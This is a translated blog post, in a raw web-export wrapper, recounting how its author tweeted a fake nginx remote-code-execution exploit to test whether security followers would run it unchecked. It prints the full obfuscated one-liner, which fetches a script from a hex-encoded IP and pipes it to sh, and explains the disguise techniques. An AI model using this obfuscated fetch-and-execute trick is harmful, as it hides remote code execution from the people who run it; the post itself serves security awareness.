{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"The success of a social experiment with a fake exploit for nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Note: translation.<\/b>: Author<\/a><\/noindex> In an original note published on June 1, I decided to conduct an experiment in the environment of those interested in information security. To do this, I prepared a fake exploit for an undisclosed vulnerability in a web server and posted it on my Twitter account. My assumptions \u2014 to be immediately exposed by experts who would see the obvious deception in the code \u2014 not only did not come true\u2026 They surpassed all expectations, and in the opposite direction: the tweet received enormous support from numerous people who did not bother to check its content.<\/i><\/p>\n

\"The
\n
\nTL;DR: never use file piping in sh or bash. It's a great way to lose control of your computer.<\/b><\/a><\/noindex><\/p>\n

I want to share with you a short story about a jokey PoC exploit that was created on May 31. It appeared rapidly in response to the news from Alisa Esage Shevchenko<\/a><\/noindex>, a member of Zero Day Initiative<\/a><\/noindex> (ZDI), about the upcoming disclosure of a vulnerability in NGINX that leads to RCE (remote code execution). Since NGINX underpins many websites, the news was expected to have a bombshell effect. However, due to delays in the 'responsible disclosure' process, the details of what happened were not known \u2014 that is the standard procedure for ZDI.<\/p>\n

\"The
\nThe tweet<\/a><\/noindex> about the disclosure of the vulnerability in NGINX<\/i><\/p>\n

After finishing work on a new obfuscation technique in curl, I quoted the original tweet and 'leaked a working PoC' consisting of a single line of code that allegedly exploited the discovered vulnerability. Of course, it was complete nonsense. I thought I would be caught immediately and that at best I would get a couple of retweets (which would be fine).<\/p>\n

\"The
\nThe tweet<\/a><\/noindex> with a fake exploit<\/i><\/p>\n

However, I could not imagine what happened next. The popularity of my tweet soared to the heavens. Surprisingly, as of now (3:00 PM MSK on June 1), very few people have realized it was a hoax. Many are retweeting it without any verification (not to mention admiring the lovely ASCII graphics it produces).<\/p>\n

\"The
\nJust look at the beauty!<\/i><\/p>\n

While all these loops and colors are impressive, it's clear that to see them, people ran the code on their machines. Fortunately, browsers work similarly, and given that I really don't need legal troubles, the code hidden on my site simply executed echo calls, without attempting to set or run any additional code.<\/p>\n

A brief aside: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, I and other guys from the Thugcrowd<\/a><\/noindex> team have been experimenting with various ways to obfuscate curl commands for some time because it's fun... and we're geeks. netspooky and dnz discovered several new methods that seemed extremely promising to me. I joined in on the fun and tried to incorporate IP decimal transformations into the trick set. It turned out that IPs can also be converted to hexadecimal format. Moreover, curl and most other NIX tools happily 'consume' hexadecimal IPs! Thus, it was just a matter of creating a convincing and safe-looking command line. Ultimately, I settled on this:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Socio-Electronic Engineering (S.E.E.) \u2014 more than just phishing<\/h2>\n
\nSecurity and familiarity were pivotal to this experiment. I think they were key to its success. The command line clearly implied security by referencing '127.0.0.1' (the well-known localhost). It's considered that localhost is safe, and the data on it never leaves your computer.<\/p>\n
Familiarity was the second key component of the S.E.E. experiment. Since the target audience mainly consisted of people familiar with the basics of computer security, it was important to create code parts that seemed familiar and thereby safe. Borrowing elements from old exploit concepts and combining them in unusual ways proved quite successful.<\/p>\n
Below is a detailed breakdown of the one-liner. Everything on this list is cosmetic<\/b>, and practically nothing is required for its real functioning.<\/i><\/p>\n
So which components are really necessary? They are -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> and the web server itself. The web server did not contain any malicious instructions, it simply transmitted ASCII graphics using commands echo<\/code> in the script contained in index.html<\/code>. When the user entered a string with |sh<\/code> in the middle, index.html<\/code> it was loaded and executed. Fortunately, the web server custodians had no evil intentions.<\/p>\n